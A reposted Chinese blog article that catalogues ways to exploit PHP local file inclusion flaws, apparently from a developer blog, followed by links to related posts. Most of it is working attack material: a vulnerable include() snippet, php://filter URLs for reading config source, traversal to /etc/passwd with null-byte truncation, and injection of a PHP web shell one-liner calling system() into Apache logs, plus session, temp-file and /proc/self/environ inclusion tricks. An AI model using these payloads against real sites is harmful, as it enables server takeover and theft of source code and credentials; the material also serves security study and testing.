主要涉及到的函数
include(),require()、include_once(),require_once()
magic_quotes_gpc()、allow_url_fopen()、allow_url_include()、move_uploaded_file() 、readfile() file()、and file_get_contents()、upload_tmp_dir()、post_max_size()、and max_input_time()等

典型漏洞代码:
<!–?php include($_GET['pages'].‘.php’); ?–>

黑盒判断方法:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。
本地包含漏洞的利用(这里先忽略截断问题)

1、包含同服务器中上传的jpg、txt、rar等文件,这个是最理想的情况了。
2、包含系统的各种日志,如apache日志,文件系统日志等 其中apache当记录格式为combined,一般日志都会很大,基本无法包含成功。包含log是有自动化攻击程序的。
其中鬼子的博客中有提到一个空格的问题。见《邪恶的空格-PHP本地文件包含漏洞的新突破口》 解决空格问题其实把一句话base64加密后再写入就可以执行了。
3、包含/proc/self/environ . 这个环境变量有访问web的session信息和包含user-agent的参数。user-agent在客户端是可以修改的。参考:《Shell via LFI –proc/self/environ method//http://hi.baidu.com/root_exp/blog/item /9c0571fc2d42664fd7887d7d.html》
4、包含由php程序本身生成的文件,缓存、模版等,开源的程序成功率大。
5、利用本地包含读取PHP敏感性文件,需要PHP5以上版本。如看到“config”的源码如下
index.php?pages=php://filter/read=convert.base64-encode/resource=config
特别的情况用到readfile() 函数不是包含执行,可以直接读源码。
6、利用phpinfo页面getshell。一般大组织的web群存在phpinfo的机会挺大的。
poc和介绍参考《利用phpinfo信息LFI临时文件》//http://www.2cto.com/Article/201202/119213.html
7、利用包含出错,或者包含有未初始化变量的PHP文件,只要变量未初始化就可能再次攻击 具体见《include()本地文件包含漏洞随想》//http://www.2cto.com/Article/200809/29748.html
8、结合跨站使用  index.php?pages=http:// www.2cto.com /path/xss.php?xss=phpcode (要考虑域信任问题)
9、包含临时文件文件。这个方法很麻烦的。参考 《POST method uploads》//http://www.php.net/manual/en/features.file-upload.post-method.php
解决临时文件删除方法:慢连接 (注:前提是file_uploads = On,5.3.1中增加了max_file_uploadsphp.ini file_uploads = On,5.3.1中增加了max_file_uploads,默认最大一次上传20个)
windows格式:win下最长4个随机字符( ‘a’-’z’, ‘A’-’Z’, ’0′-’9′)如:c:/windows/temp/php3e.tmp
linux格式:6个随机字符( ‘a’-’z’, ‘A’-’Z’, ’0′-’9′) 如:/tmp/phpUs7MxA
慢连接的两种上传代码参考:《PHP安全之LFI漏洞GetShell方法大阅兵》//www.2cto.com/Article/201106/94414.html

10、当前实在找不到写权限目录时候,注入到log中再寻找写权限目录。如注入<?php $s=$_GET;@chdir($s['x']);echo @system($s['y'])?>到log.
Linux: index.php?pages=/var/log/apache/logs/error_log%00&x=/&y=uname
windows: index.php?pages=..\apache\logs\error.log%00&x=.&y=dir
具体参考《PHP本地文件包含(LFI)漏洞利用》http://www.2cto.com/Article/201202/119214.html
11、使用php wrapper例如php://input、php://filter、data://等包含文件 在《PHP 5.2.0 and allow_url_include》//http://blog.php-security.org/archives/45-PHP-5.2.0- and-allow_url_include.html 其中文中提到的allow_url_fopen和allow_url_include只是保护了against URL handles标记为URL.这影响了http(s) and ftp(s)但是并没有影响php或date 这些url形式。
12、LFI判断目录是否存在和列目录,如
**index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
**这个方法在TTYshell上是可以完全是可以判断的,但是在URL上有时候不可行。即使不存在dossierexistant也可以回显passwd内容。
index.php?pages=../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00
**FreeBSD 《directory listing with PHP file functions》http://websec.wordpress.com/2009 …php-file-functions/ 列目录
**存在逻辑判断的时候,如不存在该目录就会返回header.php+File not found+footer.php 存在就会返回header.php+footer.php。这种逻辑很符合程序员的习惯。曾经用找到了一个目录很深的日志获得shell。
13、包含SESSION文件,php保存格式sess_SESSIONID 默认位置是/tmp/(PHP Sessions)、/var/lib/php/session/(PHP Sessions)、/var/lib/php5/(PHP Sessions) 和c:/windows/temp/(PHP Sessions)等文件中。
14、包含/proc/self/cmdline 或者/proc/self/fd/<fd number>找到log文件 (拥有者为root,默认情况要root才能访问)
具体参考Local File Inclusion – 《Tricks of the Trade》http://labs.neohapsis.com/2008/0 …ricks-of-the-trade/ 还有其他提到包含/var/log/auth.log的,但是这个文件默认情况也是644.
15、包含maillog 通常位置/var/log/maillog 这个方法也很鸡肋,具体参考《local file inclusion tricks 》http://devels-playground.blogspo …clusion-tricks.html
16、包含固定的文件,非常鸡肋,为了完整性也提下。如,可用中间人攻击。
<?php include(“http://172.0.0.1/code.php “); ?>

关于截断
(简单介绍下,谷歌下很多文章提到了)
截断要考虑两个问题magic_quotes_gpc()和PHP版本。

1、%00空字符截断,除了这个截断在php 5.3.4以下版本好用外,以下截断都是有条件的。
2、windows
Linux文件名大于4096字符被截断
Windows: 文件名大于256字符被截断
参考的文档很多就不一一列举了。这个文章希望能给大家遇到LFI的时候有点帮助

LFI漏洞利用总结的更多相关文章

  1. LFI漏洞利用总结(转载)

    主要涉及到的函数include(),require().include_once(),require_once()magic_quotes_gpc().allow_url_fopen().allow_ ...

  2. phpMyAdmin 4.8.x 本地文件包含漏洞利用

    phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...

  3. 本地文件包含漏洞(LFI漏洞)

    0x00 前言 本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法. 我们都知道LFI漏洞允许用户通过在URL中包括一个文件.在本文中,我使用了bWAPP和DVW ...

  4. PHP文件包含漏洞(利用phpinfo)复现

    0x01 简介 PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell.因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获 ...

  5. Linux环境下常见漏洞利用技术(培训ppt+实例+exp)

    记得以前在drops写过一篇文章叫 linux常见漏洞利用技术实践 ,现在还可以找得到(https://woo.49.gs/static/drops/binary-6521.html), 不过当时开始 ...

  6. apt28组织新的flash漏洞利用包dealerschoice分析

    17号paloalto发布了文章dealerschoice-sofacys-flash-player-exploit-platform,文中提到apt28正在编写adobe flash player的 ...

  7. Linux堆溢出漏洞利用之unlink

    Linux堆溢出漏洞利用之unlink 作者:走位@阿里聚安全 0 前言 之前我们深入了解了glibc malloc的运行机制(文章链接请看文末▼),下面就让我们开始真正的堆溢出漏洞利用学习吧.说实话 ...

  8. Struts2漏洞利用实例

    Struts2漏洞利用实例 如果存在struts2漏洞的站,administrator权限,但是无法加管理组,内网,shell访问500. 1.struts2 漏洞原理:struts2是一个框架,他在 ...

  9. Drupal 7.31SQL注入getshell漏洞利用详解及EXP

    0x00 这个漏洞威力确实很大,而且Drupal用的也比较多,使用Fuzzing跑字典应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp不再深入下去. 0x0 ...

随机推荐

  1. PHP美元符和花括号组合那些事—${${}}

    双美元符+{}:${${variable}}是一种比较常见的用法,但是它的实现原理是什么呢?今天来探究一下: 提及这种用法,还得先说一下PHP的String类型php.net上指出,一个字符串可以用4 ...

  2. 在Android Stuido中使用Lint

    要运行Lint工具,大家首先需要在Android Studio的“Analyze”菜单中选择“Inspect Code…”.当Android Studio完成了对项目的检测之后,它会在窗口底部显示出分 ...

  3. UITableView中的cell的优化

    1.cell的重用 所谓的cell的重用就是,视图加载的时候只会创建当前视图中的cell,或者比当前视图多一点的cell, 当视图滚动的时候,滚出屏幕的cell会放进缓存中,滚进屏幕的cell会根据I ...

  4. Android添加快捷方式(Shortcut)到手机桌面

    Android添加快捷方式(Short)到手机桌面 权限 要在手机桌面上添加快捷方式,首先需要在manifest中添加权限. <!-- 添加快捷方式 --> <uses-permis ...

  5. Java输入/输出流体系

    在用java的io流读写文件时,总是被它的各种流能得很混乱,有40多个类,理清啦,过一段时间又混乱啦,决定整理一下!以防再忘 Java输入/输出流体系 1.字节流和字符流 字节流:按字节读取.字符流: ...

  6. Android 图片的合成

    本文实现在Android下图片的合成 布局设计比较简单: <RelativeLayout xmlns:android="http://schemas.android.com/apk/r ...

  7. App开发流程之右滑返回手势功能续

    上一篇记录了利用系统私有变量和方法实现右滑返回手势功能:http://www.cnblogs.com/ALongWay/p/5893515.html 这篇继续记录另一种方案:利用UINavigatio ...

  8. 【代码笔记】iOS-scrollerView里多个tableView加搜索框

    一,效果图. 二,工程图. 三,代码. RootViewController.h #import <UIKit/UIKit.h> #import "customCell.h&qu ...

  9. 【读书笔记】iOS-苹果的网络

    一,网络结构. 1,客户端服务器网络结构. 客户端服务器网络结构是一种主从网络结构.服务器是被动的,有点像餐厅的服务员.而客户端是主动的,像在餐厅吃饭的顾客. 2,对等网络结构. 对等网络也叫点对点网 ...

  10. mvc4 用NPOI导出Excel

    第一次做数据导出Excel,刚看到这个的时候,首先想到的就是新建一个excel的文件,然后将它下载,后来询问别人,他们都推荐使用NPOI,发现这个很好用,就用博客记录一下 1.引用NPOI包 2.导出 ...